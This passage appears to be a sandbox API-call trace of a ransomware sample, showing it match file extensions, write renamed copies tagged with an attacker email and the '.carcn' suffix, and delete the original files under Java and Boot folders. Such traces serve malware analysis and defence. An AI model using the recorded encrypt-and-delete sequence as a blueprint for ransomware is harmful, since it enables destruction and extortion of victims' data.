-1 [0312.163] lstrlenW (lpString=".bz2") returned 4 [0312.163] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString=".7z") returned 3 [0312.163] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0312.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.163] lstrlenW (lpString=".dbf") returned 4 [0312.163] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.163] lstrlenW (lpString=".1cd") returned 4 [0312.163] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.163] lstrlenW (lpString=".jpg") returned 4 [0312.163] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0312.164] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.164] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0312.165] GetLastError () returned 0x0 [0312.165] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x28, lpOverlapped=0x0) returned 1 [0312.166] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x30, lpOverlapped=0x0) returned 1 [0312.167] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.167] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0312.167] SetEndOfFile (hFile=0x33c) returned 1 [0312.167] CloseHandle (hObject=0x33c) returned 1 [0312.167] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.167] SetEndOfFile (hFile=0x340) returned 1 [0312.168] CloseHandle (hObject=0x340) returned 1 [0312.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.168] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0312.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.169] lstrlenW (lpString=".doc") returned 4 [0312.169] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0312.169] lstrlenW (lpString=".docx") returned 5 [0312.169] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0312.169] lstrlenW (lpString=".pdf") returned 4 [0312.170] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString=".xls") returned 4 [0312.170] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString=".xlsx") returned 5 [0312.170] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0312.170] lstrlenW (lpString=".ppt") returned 4 [0312.170] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.170] lstrlenW (lpString=".zip") returned 4 [0312.170] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString=".rar") returned 4 [0312.170] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString=".bz2") returned 4 [0312.170] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString=".7z") returned 3 [0312.170] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0312.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.170] lstrlenW (lpString=".dbf") returned 4 [0312.170] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.170] lstrlenW (lpString=".1cd") returned 4 [0312.170] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0312.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0312.170] lstrlenW (lpString=".jpg") returned 4 [0312.170] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0312.171] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.171] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0312.172] GetLastError () returned 0x0 [0312.172] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x210, lpOverlapped=0x0) returned 1 [0312.173] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x220, lpOverlapped=0x0) returned 1 [0312.174] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.174] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0312.174] SetEndOfFile (hFile=0x33c) returned 1 [0312.175] CloseHandle (hObject=0x33c) returned 1 [0312.175] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.175] SetEndOfFile (hFile=0x340) returned 1 [0312.176] CloseHandle (hObject=0x340) returned 1 [0312.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.176] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0312.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.177] lstrlenW (lpString=".doc") returned 4 [0312.177] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0312.177] lstrlenW (lpString=".docx") returned 5 [0312.177] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0312.177] lstrlenW (lpString=".pdf") returned 4 [0312.177] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0312.177] lstrlenW (lpString=".xls") returned 4 [0312.177] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0312.177] lstrlenW (lpString=".xlsx") returned 5 [0312.177] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0312.177] lstrlenW (lpString=".ppt") returned 4 [0312.177] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0312.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.178] lstrlenW (lpString=".zip") returned 4 [0312.178] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0312.178] lstrlenW (lpString=".rar") returned 4 [0312.178] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0312.178] lstrlenW (lpString=".bz2") returned 4 [0312.178] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0312.178] lstrlenW (lpString=".7z") returned 3 [0312.178] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0312.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.178] lstrlenW (lpString=".dbf") returned 4 [0312.178] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0312.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.178] lstrlenW (lpString=".1cd") returned 4 [0312.178] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0312.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0312.178] lstrlenW (lpString=".jpg") returned 4 [0312.178] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0312.178] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.179] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.179] CreateFileW (lpFileName="C:\\Program Files\\Java\\moments.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\moments.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0312.179] GetLastError () returned 0x0 [0312.179] ReadFile (hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0) Thread: id = 105 os_tid = 0xfa8 [0291.304] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3ce1518 [0291.305] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3cf1520 [0291.305] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796e88 [0291.305] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x796028 [0291.305] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f00 [0291.305] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x428d020 [0291.308] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f18 [0291.308] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f18, Size=0x20) returned 0x75a1c0 [0291.308] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f78 [0291.308] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f78, Size=0x20) returned 0x75a350 [0291.308] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.308] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.308] Wow64DisableWow64FsRedirection (in: OldValue=0x38bff50 | out: OldValue=0x38bff50*=0x0) returned 1 [0291.308] lstrlenW (lpString="kernel32.dll") returned 12 [0291.308] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.308] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.308] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.308] Sleep (dwMilliseconds=0x64) [0291.636] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.636] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.636] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.637] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=74144) returned 1 [0291.637] CloseHandle (hObject=0x334) returned 1 [0291.637] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0291.637] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.637] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.637] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.637] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.637] lstrlenW (lpString=".doc") returned 4 [0291.637] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.637] lstrlenW (lpString=".docx") returned 5 [0291.638] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.638] lstrlenW (lpString=".pdf") returned 4 [0291.638] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.638] lstrlenW (lpString=".xls") returned 4 [0291.638] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.638] lstrlenW (lpString=".xlsx") returned 5 [0291.638] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.638] lstrlenW (lpString=".ppt") returned 4 [0291.638] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.638] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.638] lstrlenW (lpString=".zip") returned 4 [0291.638] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.638] lstrlenW (lpString=".rar") returned 4 [0291.638] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.638] lstrlenW (lpString=".bz2") returned 4 [0291.638] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.638] lstrlenW (lpString=".7z") returned 3 [0291.638] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.638] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.638] lstrlenW (lpString=".dbf") returned 4 [0291.638] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.638] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.638] lstrlenW (lpString=".1cd") returned 4 [0291.639] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".jpg") returned 4 [0291.639] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".doc") returned 4 [0291.639] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString=".docx") returned 5 [0291.639] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.639] lstrlenW (lpString=".pdf") returned 4 [0291.639] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.639] lstrlenW (lpString=".xls") returned 4 [0291.639] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.639] lstrlenW (lpString=".xlsx") returned 5 [0291.639] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.639] lstrlenW (lpString=".ppt") returned 4 [0291.639] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".zip") returned 4 [0291.639] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.639] lstrlenW (lpString=".rar") returned 4 [0291.639] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.639] lstrlenW (lpString=".bz2") returned 4 [0291.639] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString=".7z") returned 3 [0291.639] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".dbf") returned 4 [0291.639] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".1cd") returned 4 [0291.639] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.639] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0291.639] lstrlenW (lpString=".jpg") returned 4 [0291.639] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.640] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.640] lstrlenW (lpString="memtest.exe.mui") returned 15 [0291.640] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.640] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=44960) returned 1 [0291.640] CloseHandle (hObject=0x334) returned 1 [0291.640] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0291.640] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.640] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.640] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.640] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.640] lstrlenW (lpString=".doc") returned 4 [0291.640] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.640] lstrlenW (lpString=".docx") returned 5 [0291.641] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.641] lstrlenW (lpString=".pdf") returned 4 [0291.641] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".xls") returned 4 [0291.641] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".xlsx") returned 5 [0291.641] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.641] lstrlenW (lpString=".ppt") returned 4 [0291.641] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString=".zip") returned 4 [0291.641] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".rar") returned 4 [0291.641] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".bz2") returned 4 [0291.641] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.641] lstrlenW (lpString=".7z") returned 3 [0291.641] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString=".dbf") returned 4 [0291.641] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString=".1cd") returned 4 [0291.641] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString=".jpg") returned 4 [0291.641] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.641] lstrlenW (lpString=".doc") returned 4 [0291.641] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.641] lstrlenW (lpString=".docx") returned 5 [0291.641] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.641] lstrlenW (lpString=".pdf") returned 4 [0291.641] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".xls") returned 4 [0291.641] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.641] lstrlenW (lpString=".xlsx") returned 5 [0291.642] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.642] lstrlenW (lpString=".ppt") returned 4 [0291.642] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.642] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.642] lstrlenW (lpString=".zip") returned 4 [0291.642] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.642] lstrlenW (lpString=".rar") returned 4 [0291.642] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.642] lstrlenW (lpString=".bz2") returned 4 [0291.642] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.642] lstrlenW (lpString=".7z") returned 3 [0291.642] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.642] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.642] lstrlenW (lpString=".dbf") returned 4 [0291.642] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.642] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.642] lstrlenW (lpString=".1cd") returned 4 [0291.642] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.642] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0291.642] lstrlenW (lpString=".jpg") returned 4 [0291.642] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.642] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.642] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.642] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.643] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=77664) returned 1 [0291.643] CloseHandle (hObject=0x334) returned 1 [0291.643] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0291.643] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.643] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.643] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.643] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.643] lstrlenW (lpString=".doc") returned 4 [0291.643] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.643] lstrlenW (lpString=".docx") returned 5 [0291.643] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.643] lstrlenW (lpString=".pdf") returned 4 [0291.643] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.643] lstrlenW (lpString=".xls") returned 4 [0291.643] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.643] lstrlenW (lpString=".xlsx") returned 5 [0291.643] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.643] lstrlenW (lpString=".ppt") returned 4 [0291.643] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.643] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.643] lstrlenW (lpString=".zip") returned 4 [0291.643] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.643] lstrlenW (lpString=".rar") returned 4 [0291.643] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.643] lstrlenW (lpString=".bz2") returned 4 [0291.643] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.643] lstrlenW (lpString=".7z") returned 3 [0291.643] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.643] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.643] lstrlenW (lpString=".dbf") returned 4 [0291.643] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.643] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".1cd") returned 4 [0291.644] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".jpg") returned 4 [0291.644] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".doc") returned 4 [0291.644] 